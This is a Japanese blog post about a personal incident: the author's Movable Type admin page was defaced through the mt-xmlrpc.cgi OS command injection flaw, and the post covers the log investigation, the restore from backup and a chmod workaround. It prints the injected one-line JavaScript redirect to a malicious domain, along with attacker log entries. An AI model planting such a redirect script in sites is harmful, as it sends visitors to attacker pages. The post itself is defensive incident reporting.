2023年4月アーカイブ

ブログが攻撃を受けました。

このブログを運営して10年ほどですが、初めてサーバのコンテンツが書き換えられました。
書き換えられたのは管理用のコンテンツだけだったので、特に影響はありませんでした。
現在は日次のバックアップからデータをリストアして復旧させています。

経緯

いつも通りに釣りブログの更新をしようと、管理ページを開きました。
そしたら、ESETさんが脅威を検出という不穏な画面を表示。
よく見ると、変なページにリダイレクトされているようです。
eset-alert.png

調査

サーバに入って、コンテンツを確認すると、中身が書き換えられていました。
[root@www01 cms]# cat index.html
<script>document.location.href="https://absolutelytowns.com/et3vdt36iy?key=b6a50f1c0af90b7aab7bf6ff89daf0f1";</script>

書き換えられた時刻は4/2 3:14のようです。
[root@www01 cms]# ls -la
(省略)
-rw-rw-r--  1 apache apache   118  4月  2 03:14 index.html
(省略)

secureログを見てもログインの形跡はありませんでしたが、Apacheのログには該当する時刻に不信なログがありました。
時刻的にはピッタリで、4/1 5:31から何度かアクセスがあるようです。
[root@www01 httpd]# cat * | grep /cms/mt-xmlrpc.cgi
107.189.10.254 - - [02/Apr/2023:03:14:25 +0900] "POST /cms/mt-xmlrpc.cgi HTTP/1.1" 200 2848 "-" "Mozilla/5.0"
107.189.10.254 - - [01/Apr/2023:05:31:17 +0900] "POST /cms/mt-xmlrpc.cgi HTTP/1.1" 200 1385 "-" "Mozilla/5.0"
107.189.10.254 - - [01/Apr/2023:05:31:17 +0900] "POST /cms/mt-xmlrpc.cgi HTTP/1.1" 200 1382 "-" "Mozilla/5.0"
107.189.10.254 - - [01/Apr/2023:06:39:05 +0900] "POST /cms/mt-xmlrpc.cgi HTTP/1.1" 200 2845 "-" "Mozilla/5.0"
107.189.10.254 - - [01/Apr/2023:09:16:30 +0900] "POST /cms/mt-xmlrpc.cgi HTTP/1.1" 200 2848 "-" "Mozilla/5.0"
107.189.10.254 - - [01/Apr/2023:20:51:01 +0900] "POST /cms/mt-xmlrpc.cgi HTTP/1.1" 200 2848 "-" "Mozilla/5.0"
[02/Apr/2023:03:14:25 +0900] 107.189.10.254 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /cms/mt-xmlrpc.cgi HTTP/1.1" 2848
[01/Apr/2023:05:31:17 +0900] 107.189.10.254 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /cms/mt-xmlrpc.cgi HTTP/1.1" 1385
[01/Apr/2023:05:31:17 +0900] 107.189.10.254 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /cms/mt-xmlrpc.cgi HTTP/1.1" 1382
[01/Apr/2023:06:39:05 +0900] 107.189.10.254 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /cms/mt-xmlrpc.cgi HTTP/1.1" 2845
[01/Apr/2023:09:16:30 +0900] 107.189.10.254 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /cms/mt-xmlrpc.cgi HTTP/1.1" 2848
[01/Apr/2023:20:51:01 +0900] 107.189.10.254 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /cms/mt-xmlrpc.cgi HTTP/1.1" 2848

調べてみると、mt-xmlrpc.cgiには脆弱性情報がありました。(ちゃんと追いかけてないのがバレバレ...。)
JVN#41119755 Movable Type の XMLRPC API における OS コマンドインジェクションの脆弱性 緊急

OSコマンドインジェクションの攻撃を受けたようです。
mt-xmlrpc.cgiはapacheユーザーで動くので、書き換えられたのはapacheユーザーに権限があるものだけでした。
どうやら.htmlファイルや.phpファイルを検索して、中身を置き換えるコードを実行されたみたいです。

対応

バックアップからデータを復元するため、改ざんされる前のバックアップを確認します。
恐らく最初の攻撃は4/1 5:31なので、4/1 1:00に取得したバックアップに戻せばよさそうです。
[root@www01 httpd]# tar tvzf /opt/op/backup/www01.s1ncha.com_backup_wwwdata_20230402.tar.gz | grep /cms/index.html
-rw-rw-r-- apache/apache       118 2023-04-01 20:51 var/www/cms/index.html
[root@www01 httpd]# tar tvzf /opt/op/backup/www01.s1ncha.com_backup_wwwdata_20230401.tar.gz | grep /cms/index.html
-rw-rw-r-- apache/apache      8921 2014-12-16 08:20 var/www/cms/index.html

書き換えられる前のコンテンツが含まれていたので、このバックアップから戻すことにしました。

脆弱性情報に記載されている対策はバージョンアップですが、今回はワークアラウンドを実施しました。
とりあえず、mt-xmlrpc.cgiの実行権限を外して、外部から実行されないようにしました。
[root@www01 cms]# chmod -x mt-xmlrpc.cgi

インターネット公開サーバでバージョンアップをサボってはいけませんね。
サボるとしても脆弱性情報はしっかりと抑えておかなければなりません...。